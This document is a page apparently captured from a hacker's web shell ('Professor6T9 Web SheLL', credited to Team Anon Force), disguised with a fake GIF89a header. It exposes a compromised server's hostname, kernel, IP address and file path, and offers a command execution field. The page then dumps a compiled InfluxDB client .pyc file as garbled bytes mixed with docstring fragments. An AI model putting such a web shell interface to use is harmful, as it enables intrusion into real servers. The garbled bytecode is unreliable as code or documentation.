GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
template_apply.cpython-38.pyc
U ܒi}? � @ s( d Z ddlZddlZG dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � Nc @ s\ e Zd ZdZddddddddd d � Zddd ddddddd � Zd<dd�Zedd� �Zej dd� �Zedd� �Z e j dd� �Z edd� �Zej dd� �Zed d!� �Zej d"d!� �Zed#d$� �Z e j d%d$� �Z ed&d'� �Zej d(d'� �Zed)d*� �Zej d+d*� �Zed,d-� �Zej d.d-� �Zed/d0� �Zej d1d0� �Zd2d3� Zd4d5� Zd6d7� Zd8d9� Zd:d;� ZdS )=� TemplateApplyz�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �bool�strZTemplateApplyTemplatezlist[TemplateApplyTemplate]zdict(str, object)zdict(str, str)zlist[TemplateApplyRemotes]zlist[object]) �dry_run�org_id�stack_id�template� templates�env_refs�secrets�remotes�actionsZdryRunZorgIDZstackIDr r ZenvRefsr r r Nc C s� d| _ d| _d| _d| _d| _d| _d| _d| _d| _d| _ |dk rJ|| _ |dk rX|| _|dk rf|| _|dk rt|| _ |dk r�|| _|dk r�|| _|dk r�|| _|dk r�|| _| dk r�| | _dS )z+TemplateApply - a model defined in OpenAPI.N)�_dry_run�_org_id� _stack_id� _template� _templates� _env_refs�_secrets�_remotes�_actionsZ discriminatorr r r r r r r r r ) �selfr r r r r r r r r � r �V/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/template_apply.py�__init__8 s8 zTemplateApply.__init__c C s | j S )aL Get the dry_run of this TemplateApply. Only applies a dry run of the templates passed in the request. - Validates the template and generates a resource diff and summary. - Doesn't install templates or make changes to the InfluxDB instance. :return: The dry_run of this TemplateApply. :rtype: bool �r �r r r r r X s zTemplateApply.dry_runc C s || _ dS )aR Set the dry_run of this TemplateApply. Only applies a dry run of the templates passed in the request. - Validates the template and generates a resource diff and summary. - Doesn't install templates or make changes to the InfluxDB instance. :param dry_run: The dry_run of this TemplateApply. :type: bool Nr )r r r r r r c s c C s | j S )a� Get the org_id of this TemplateApply. Organization ID. InfluxDB applies templates to this organization. The organization owns all resources created by the template. To find your organization, see how to [view organizations](https://docs.influxdata.com/influxdb/latest/organizations/view-orgs/). :return: The org_id of this TemplateApply. :rtype: str �r r r r r r n s zTemplateApply.org_idc C s || _ dS )a� Set the org_id of this TemplateApply. Organization ID. InfluxDB applies templates to this organization. The organization owns all resources created by the template. To find your organization, see how to [view organizations](https://docs.influxdata.com/influxdb/latest/organizations/view-orgs/). :param org_id: The org_id of this TemplateApply. :type: str Nr )r r r r r r y s c C s | j S )a� Get the stack_id of this TemplateApply. ID of the stack to update. To apply templates to an existing stack in the organization, use the `stackID` parameter. If you apply templates without providing a stack ID, InfluxDB initializes a new stack with all new resources. To find a stack ID, use the InfluxDB [`/api/v2/stacks` API endpoint](#operation/ListStacks) to list stacks. #### Related guides - [Stacks](https://docs.influxdata.com/influxdb/latest/influxdb-templates/stacks/) - [View stacks](https://docs.influxdata.com/influxdb/latest/influxdb-templates/stacks/view/) :return: The stack_id of this TemplateApply. :rtype: str �r r r r r r � s zTemplateApply.stack_idc C s || _ dS )a� Set the stack_id of this TemplateApply. ID of the stack to update. To apply templates to an existing stack in the organization, use the `stackID` parameter. If you apply templates without providing a stack ID, InfluxDB initializes a new stack with all new resources. To find a stack ID, use the InfluxDB [`/api/v2/stacks` API endpoint](#operation/ListStacks) to list stacks. #### Related guides - [Stacks](https://docs.influxdata.com/influxdb/latest/influxdb-templates/stacks/) - [View stacks](https://docs.influxdata.com/influxdb/latest/influxdb-templates/stacks/view/) :param stack_id: The stack_id of this TemplateApply. :type: str Nr )r r r r r r � s c C s | j S )z�Get the template of this TemplateApply. :return: The template of this TemplateApply. :rtype: TemplateApplyTemplate �r r r r r r � s zTemplateApply.templatec C s || _ dS )z�Set the template of this TemplateApply. :param template: The template of this TemplateApply. :type: TemplateApplyTemplate Nr )r r r r r r � s c C s | j S )a� Get the templates of this TemplateApply. A list of template objects to apply. A template object has a `contents` property with an array of InfluxDB resource configurations. Use the `templates` parameter to apply multiple template objects. If you use `templates`, you can't use the `template` parameter. :return: The templates of this TemplateApply. :rtype: list[TemplateApplyTemplate] �r r r r r r � s zTemplateApply.templatesc C s || _ dS )a� Set the templates of this TemplateApply. A list of template objects to apply. A template object has a `contents` property with an array of InfluxDB resource configurations. Use the `templates` parameter to apply multiple template objects. If you use `templates`, you can't use the `template` parameter. :param templates: The templates of this TemplateApply. :type: list[TemplateApplyTemplate] Nr )r r r r r r � s c C s | j S )ah Get the env_refs of this TemplateApply. An object with key-value pairs that map to **environment references** in templates. Environment references in templates are `envRef` objects with an `envRef.key` property. To substitute a custom environment reference value when applying templates, pass `envRefs` with the `envRef.key` and the value. When you apply a template, InfluxDB replaces `envRef` objects in the template with the values that you provide in the `envRefs` parameter. For more examples, see how to [define environment references](https://docs.influxdata.com/influxdb/latest/influxdb-templates/use/#define-environment-references). The following template fields may use environment references: - `metadata.name` - `spec.endpointName` - `spec.associations.name` For more information about including environment references in template fields, see how to [include user-definable resource names](https://docs.influxdata.com/influxdb/latest/influxdb-templates/create/#include-user-definable-resource-names). :return: The env_refs of this TemplateApply. :rtype: dict(str, object) �r r r r r r � s zTemplateApply.env_refsc C s || _ dS )ao Set the env_refs of this TemplateApply. An object with key-value pairs that map to **environment references** in templates. Environment references in templates are `envRef` objects with an `envRef.key` property. To substitute a custom environment reference value when applying templates, pass `envRefs` with the `envRef.key` and the value. When you apply a template, InfluxDB replaces `envRef` objects in the template with the values that you provide in the `envRefs` parameter. For more examples, see how to [define environment references](https://docs.influxdata.com/influxdb/latest/influxdb-templates/use/#define-environment-references). The following template fields may use environment references: - `metadata.name` - `spec.endpointName` - `spec.associations.name` For more information about including environment references in template fields, see how to [include user-definable resource names](https://docs.influxdata.com/influxdb/latest/influxdb-templates/create/#include-user-definable-resource-names). :param env_refs: The env_refs of this TemplateApply. :type: dict(str, object) Nr! )r r r r r r � s c C s | j S )a Get the secrets of this TemplateApply. An object with key-value pairs that map to **secrets** in queries. Queries may reference secrets stored in InfluxDB--for example, the following Flux script retrieves `POSTGRES_USERNAME` and `POSTGRES_PASSWORD` secrets and then uses them to connect to a PostgreSQL database: ```js import "sql" import "influxdata/influxdb/secrets" username = secrets.get(key: "POSTGRES_USERNAME") password = secrets.get(key: "POSTGRES_PASSWORD") sql.from( driverName: "postgres", dataSourceName: "postgresql://${username}:${password}@localhost:5432", query: "SELECT * FROM example_table", ) ``` To define secret values in your `/api/v2/templates/apply` request, pass the `secrets` parameter with key-value pairs--for example: ```json { ... "secrets": { "POSTGRES_USERNAME": "pguser", "POSTGRES_PASSWORD": "foo" } ... } ``` InfluxDB stores the key-value pairs as secrets that you can access with `secrets.get()`. Once stored, you can't view secret values in InfluxDB. #### Related guides - [How to pass secrets when installing a template](https://docs.influxdata.com/influxdb/latest/influxdb-templates/use/#pass-secrets-when-installing-a-template) :return: The secrets of this TemplateApply. :rtype: dict(str, str) �r r r r r r � s zTemplateApply.secretsc C s || _ dS )a Set the secrets of this TemplateApply. An object with key-value pairs that map to **secrets** in queries. Queries may reference secrets stored in InfluxDB--for example, the following Flux script retrieves `POSTGRES_USERNAME` and `POSTGRES_PASSWORD` secrets and then uses them to connect to a PostgreSQL database: ```js import "sql" import "influxdata/influxdb/secrets" username = secrets.get(key: "POSTGRES_USERNAME") password = secrets.get(key: "POSTGRES_PASSWORD") sql.from( driverName: "postgres", dataSourceName: "postgresql://${username}:${password}@localhost:5432", query: "SELECT * FROM example_table", ) ``` To define secret values in your `/api/v2/templates/apply` request, pass the `secrets` parameter with key-value pairs--for example: ```json { ... "secrets": { "POSTGRES_USERNAME": "pguser", "POSTGRES_PASSWORD": "foo" } ... } ``` InfluxDB stores the key-value pairs as secrets that you can access with `secrets.get()`. Once stored, you can't view secret values in InfluxDB. #### Related guides - [How to pass secrets when installing a template](https://docs.influxdata.com/influxdb/latest/influxdb-templates/use/#pass-secrets-when-installing-a-template) :param secrets: The secrets of this TemplateApply. :type: dict(str, str) Nr"